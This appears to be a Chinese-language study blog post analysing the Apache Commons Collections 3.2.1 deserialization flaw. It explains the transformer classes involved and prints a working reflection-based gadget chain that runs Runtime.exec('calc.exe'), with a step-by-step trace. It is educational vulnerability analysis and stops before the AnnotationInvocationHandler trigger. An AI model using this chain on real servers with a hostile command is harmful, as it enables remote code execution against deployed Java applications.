Author : Crispr
blog : crisprx.top
前言
有了昨日的java基础后,今天准备的内容是一个经典的反序列化分析以及java
反射的相关知识的学习,下面开始今天java学习的内容。
apache common collections 反序列化漏洞
首先我们知道,如果想要达到任意命令执行的目的,我们需要使用函数Runtime().getRunTime().exec()
,因此我们需要找到一个对象能够进行存储并且在特定情况下进行反序列化从而执行我们的命令。
common collections
是java内置标准集合类collection
的一个补充和扩展库,丰富了一些数据结构和功能。而且很多著名的应用都用到了这个扩展包,像WebLogic、WebSphere、JBoss、Jenkins、OpenNMS
,所以就危害范围来讲还是比较严重的,并且是任意命令执行的漏洞
影响范围
Apache Commons Collections <= 3.2.1,<= 4.0.0
复现版本
Apache Commons Collections 3.2.1
漏洞分析
方法概要
Map类是存储键值对的数据结构。 Apache Commons Collections
中实现了TransformedMap
,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform
方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap
类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
在TransformedMap
中实现了decorate
方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
TransformedMap.decorate
方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
– 第一个参数为待转化的Map对象
– 第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
– 第三个参数为Map对象内的value要经过的转化方法
只要调用decorate()
函数,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap
,而Transformer
是一个接口:

将一个输入对象转化为另一个输出对象,也就是说我们可以通过
TransformedMap.decorate()
方法来创建一个TransformedMap
的实例,其中在InvokerTransformer.java
中实现了transform
方法:
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
这个transform(Object input)
中使用Java反射机制调用了input
对象的一个方法,而该方法名是实例化InvokerTransformer
类时传入的iMethodName成员变量

如果这两者都是我们可控的话,那我们就可以通过
InvokerTransformer.transform()
来实现RCE,因此我们的目的是可以构造一个恶意的Transformer
链,借用InvokerTransformer.transform()
执行任意命令
那如何调用InvokerTransformer.transform()
方法呢?此时ChainedTransformer·
登上舞台了,它实现将多个transform
连接起来,当触发时,ChainedTransformer可以按顺序调用一系列的变换

查看该类的构造方法和
transform
方法可以知道,接受所有transeformer
后在分别调用每个transformer
的transform
方法,因此如果我们可以实现将InvokeTransformr.transform()
方法加入,则能够直接调用该方法实现RCE
但是需要注意的是,在InvokeTransformr
类的构造方法中,并没有直接类的出现,而如果想通过runTime.getRuntTime().exec()
来实现RCE,则必须要实现runTime
的实力恶化,此时我们来看一下ConstantTransformer
,同样也存在transform
方法:

调用该类的transform方法可以返回传入对象本身,因此我们可以先来调用该方法得到
runTime
类
pop链的构造
通过TransformedMap.decorate()方法
我们可以通过构造一个ChainedTransformer
,然后再调用TransformedMap.decorate()
方法,传入任意map和我们刚刚构造的chain。这样就可以使map中任意元素改变时自动触发ChainedTransformer.transform
方法,导致我们的攻击链被执行。
exp如下:
Transformer[] trans = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(trans);
Map<String, String> test = new HashMap<String, String>();
test.put("value", "anything");
Map<String, Object> m = TransformedMap.decorate(test, null, chain);
for (Map.Entry<String, Object> entry:m.entrySet()){
entry.setValue("anything");
}
先看效果图:

再动调过一遍:
第一次返回
return runTime.class
后三次都是调用InvokerTransformer.transform
第一次调用时
Runtime.class.getClass() // Class.class
Method method = Class.class.getMethod("getMethod",new Class[]{String.class, Class[].class});
return method.invoke(Runtime.class,new Object[]{"getRuntime", new Class[0]})

第二次调用
InvokerTransformer.transform
java.lang.Runtime.getRuntime方法.getClass() //java.lang.reflect.Method.class
//Runtime.getMethod("getRuntime").invoke(null)执行了java.lang.Runtime.getRuntime()
java.lang.reflect.Method.class.getMethod("invoke",new Class[]{Object.class, Object[].class).invoke(java.lang.Runtime.getRuntime方法,new Object[]{null, new Object[0]})
return Runtime实例
第三次调用InvokerTransformer.transform
Class cls = Runtime.getRuntime().getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
method.invoke(Runtime.getRuntime(),new Object[]{"calc.exe"});

不得不说,短短的三四条链也能把我绕晕,java反序列化学习路上可谓是艰难险阻,在利用反序列化进行RCE时也可以明显感受到反射
类的十分明显的用处,因此若要掌握反序列化漏洞,必须先将java反射类
的基础完全掌握好。
其实写到这里,我也有异或的地方,既然我们可以调用InvokeTransformer.transform
,为何不先获得Runtime.getRunTime()
实例后直接调用该方法执行exec
命令?
Transformer[] trans1 = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exec"})
};
将InvokerTransformer.transform
的逻辑重复发现如果直接这样的确能够调用成功,

查询后发现因为传入的是个
Runtime实例
,但是Runtime
这个类没有实现Serializable
接口,不能被反序列化,所以就必须构造反射链
其中AnnotationInvocationHandler类
等后续在补上…..